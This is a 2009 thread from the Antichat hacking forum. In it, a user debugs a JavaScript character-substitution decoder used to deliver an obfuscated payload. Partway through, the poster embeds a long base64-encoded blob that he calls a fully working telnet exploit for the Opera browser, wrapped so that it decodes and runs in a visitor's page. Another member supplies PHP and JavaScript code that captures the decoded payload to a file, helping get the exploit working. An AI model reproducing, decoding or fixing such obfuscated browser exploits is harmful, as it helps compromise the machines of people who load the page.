Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

14.07.2009, 03:13
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
Не пишет в файл (php)
PHP код:
<script>
function decrypt(n)
{
var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';
for(l=0;l<n.length;l++)
{
ch=n.charAt(l);
ind=key.indexOf(ch);
if(ind>-1)
{
if(ind==0)
{
ind =79
}
q+=key.charAt(ind+2)
} else {
q+=ch
}
}
document.write(q)
}
decrypt("lala");
</script>
<?php
function r() {
echo '<script> decrypt("lala"); </script>';
}
$f=fopen("out.txt", "w");
fwrite($f, r());
?>
Почему не пишет в файл? Я даже не знаю уже, что делать... 
|
|
|

14.07.2009, 03:49
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
)) Потому что результаты работы javascript так просто в php не переносятся
|
|
|

14.07.2009, 03:52
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
А как тогда? Вообще, мне надо увидеть конечный, декодированный код. Например: есть зашифрованное слово lala. Он его там расшифровывает, но увидеть расшифреный код не представляется возможным. Как это можно сделать? А то он декодит как-то криво, вот я хочу понять, что не так...
|
|
|

14.07.2009, 03:59
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Что значит "увидеть не представляется возможным"???
Я вот просто скопировал в блокнот это:
Код:
<script>
function decrypt(n)
{
var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';
for(l=0;l<n.length;l++)
{
ch=n.charAt(l);
ind=key.indexOf(ch);
if(ind>-1)
{
if(ind==0)
{
ind =79
}
q+=key.charAt(ind+2)
} else {
q+=ch
}
}
document.write(q)
}
decrypt("lala");
</script>
сохранил как 1.html и запустил в браузере, мне нарисовало xdxd
Ты легенда чоли?
|
|
|

14.07.2009, 04:02
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
Не, такое-то он выведет. Понимаешь, если ему дать на расшифровку сплоит, то он начнет выполняться, следовательно я могу увидеть результаты работы сплойта, но не расшифрованный код его. Мне нужно именно этот код увидеть. Выложил вариант со сплойтом:
PHP код:
<?php
$code=base64_decode("Ym16d3lpZS8NCg0KeG53IGVwaT1qdXpuZXl1by5md3Fzew0KeG53IHN5anEgPSAnanVuYS5pZmknew0KeG53IG53dyA9IGVwaS5wbmV6ZiZ2ZmVlaSJcdlx2Ji5eKlx2dip7DQp4bncgdHdqID0gJ2ZlZWkidnYnKW53d1sxXSkndicpc3lqcXsNCg0KeG53IG4gPSAxew0KeG53IGMgPSAyew0KDQpzdG96ZXl1byBtdHAmbixjKiArDQp3cWV0d28gJm4gKSBjKnsgICBfDQoNCnhudyBuY3ogPSAxMjN7DQp4bncgY3phID0gMjM0ew0KeG53IHphcSA9IDQ1NnsNCg0Kc3RvemV5dW8gcHImbmN6LGN6YSx6YXEqICArDQp3cWV0d28gJnphcSAtIGN6YSAtIG5jeip7IF8NCg0KY2pub2goeXN3bnBxID0gYXV6dHBxb2UuendxbmVxRWpxcHFvZSYneXN3bnBxJyp7DQpjam5vaCh5c3ducHEubXd6ID0gJ25jdXRlImNqbm9oJ3sNCmNqbm9oKHlzd25wcS5tcWVBZWV3eWN0ZXEmJ3lhJywgJ2Nqbm9oKHlzd25wcSg6eW9hdTonKnsNCmNqbm9oKHlzd25wcS5tcWVBZWV3eWN0ZXEmJ21lcmpxJywgJ2F5bWlqbnIib3VvcScqew0KYXV6dHBxb2UubmlpcW9hQ2Z5amEmY2pub2goeXN3bnBxKnsNCmNqbm9oKHlzd25wcSg6eW9hdToucXhuag0KCSZ9enV9KX1vfSl9c3l9KX1kfSl9KH0pfXlzfSl9d259KX1wfSl9cSA9IGF9KX11enRwfSl9cW99KX1lfSl9Ln0pfXp3fSl9cW59KX1lcX0pfUVqcX0pfXBxb2UmJ3lzd25wcScqe1wNCgl6dW9zeWQoeXN3bnBxLm1xZUFlZXd5Y3RlcSYneWEnLCAnenVvc3lkKHlzd25wcSg6eW9hdTonKntcDQoJenVvc3lkKHlzd25wcS5td3ogPSAndWlxd24ienVvc3lkJ3tcDQoJYXV6dHBxb2UubmlpcW9hQ2Z5amEmenVvc3lkKHlzd25wcSp7XA0KCW5paSh5c3ducHEgPSBhdXp0cHFvZS56d3FuZXFFanFwcW9lJidtend5aWUnKntcDQoJem56ZnEoeXN3bnBxID0gYXV6dHBxb2UuendxbmVxRWpxcHFvZSYneXN3bnBxJyp7XA0KCW5paSh5c3ducHEubXd6ID0gJ30pdHdqKX0ne1wNCgluaWkoeXN3bnBxLnVvanVuYSA9IHN0b3pleXVvICYqXA0KCStcDQoJCXpuemZxKHlzd25wcS5td3ogPSAndWlxd24iem56ZnEne1wNCgkJem56ZnEoeXN3bnBxLnVvanVuYSA9IHN0b3pleXVvICYqXA0KCQkrXA0KCQkJem56ZnEgPSB6bnpmcSh5c3ducHEuenVvZXFvZUR1enRwcW9lLnpmeWphTnVhcW1bMF0ueW9vcXdIVE1MLmV1VWlpcXdDbm1xJip7XA0KCQkJeG53IHdxID0gb3E6IFJxZEVsaSYnJk9QUlxcXFw6KzVfLkVYRSpidlREL1xcXFxtXmJURC9cXFxcYSlidlREL1xcXFxtXmJURC9iQSBIUkVGPVx9JyluaWkoeXN3bnBxLm13ei5ldVVpaXF3Q25tcSYqLCAnJyp7XA0KCQkJc3lqcW9ucHEgPSB6bnpmcS5wbmV6ZiZ3cSp7XA0KCQkJenVvc3lkKHlzd25wcSg6eW9hdToucXhualwNCgkJCSZcfVwNCgkJCXVpcXduLm1xZVB3cXNxd3FvenEmJ05xZTp1d2gnLCdUTjMyNzAgQWlpJyx1aXF3bi5kcWVQd3FzcXdxb3pxJidVbXF3IFB3cXNtJywnQ256ZnEgRHl3cXpldXdyNCcqKWlud3FvZS5zeWpxb25wcVsxXSp7XA0KCQkJbmlpKGp5b2ggPSBhdXp0cHFvZS56d3FuZXFFanFwcW9lJiduJyp7XA0KCQkJbmlpKGp5b2gubXFlQWVld3ljdGVxJidmd3FzJywgJ2VvMzI3MCJ2dm91ZWZ5b2QnKntcDQoJCQluaWkoanlvaC56anl6aCYqe1wNCgkJCW1xZVR5cHF1dGUmc3RvemV5dW8gJiogK3VpcXduLm1xZVB3cXNxd3FvenEmJ05xZTp1d2gnLCdUTjMyNzAgQWlpJywnZXFqb3FlLnFscScqXywxMDAwKntcDQoJCQlcfSp7XA0KCQlfe1wNCgkJYXV6dHBxb2UubmlpcW9hQ2Z5amEmem56ZnEoeXN3bnBxKntcDQoJX3tcDQoJYXV6dHBxb2UubmlpcW9hQ2Z5amEmbmlpKHlzd25wcSp7fSp7DQoNCg0KeG53IGxyayA9IDEyM3sNCnhudyBsbHIgPSAxMTJ7DQoNCnN0b3pleXVvIG10cCZscmssbGxyKiArDQp3cWV0d28gJmxyayApIGxscip7ICAgXw0KDQoNCmJ2bXp3eWllLw==");
?>
<script>
function decrypt(n)
{
var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';
for(l=0;l<n.length;l++)
{
ch=n.charAt(l);
ind=key.indexOf(ch);
if(ind>-1)
{
if(ind==0)
{
ind =79
}
q+=key.charAt(ind+2)
} else {
q+=ch
}
}
document.write(q)
}
decrypt("<?=$code?>");
</script>
Сплойт, почему-то, не пашет, хотя сам по себе он абсолютно рабочий. Есть подозрения, что дешифровщик его неверно расшифровывает, поэтоу я и хочу увидеть конечный код, который передается браузеру. В данном случае сплойт ищет путь к load.php (должен быть той же папке, из которой запущен сплоит). Это телнет сплоит под оперу.
Последний раз редактировалось sNt; 14.07.2009 в 04:10..
|
|
|

14.07.2009, 04:34
|
|
Познающий
Регистрация: 29.05.2008
Сообщений: 53
Провел на форуме: 66389
Репутация:
67
|
|
может проще выполнять твоё дешифрование в php не в js?
если нет, и если я правильно понял что тебе нужно, то попробуй например так:
PHP код:
<script>
function decrypt(n)
{
var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';
for(l=0;l<n.length;l++)
{
ch=n.charAt(l);
ind=key.indexOf(ch);
if(ind>-1)
{
if(ind==0)
{
ind =79
}
q+=key.charAt(ind+2)
} else {
q+=ch
}
}
location.replace(document.location + "?decr=" + q);
}
</script>
<input type="text" id="encr"/><br/>
<input type="button" name="decr" onclick="decrypt(document.getElementById('encr').value)" value="decrypt"/>
<?php
if(isset($_GET['decr']))
{
$f=fopen("out.txt", "w");
fwrite($f, $_GET['decr']);
}
?>
|
|
|

14.07.2009, 05:28
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
thx огроменное. Имненно то, что я хотел )))
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|